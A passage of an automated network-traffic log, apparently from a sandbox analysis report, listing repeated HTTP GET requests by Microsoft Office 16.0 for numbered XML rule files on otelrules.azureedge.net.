Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
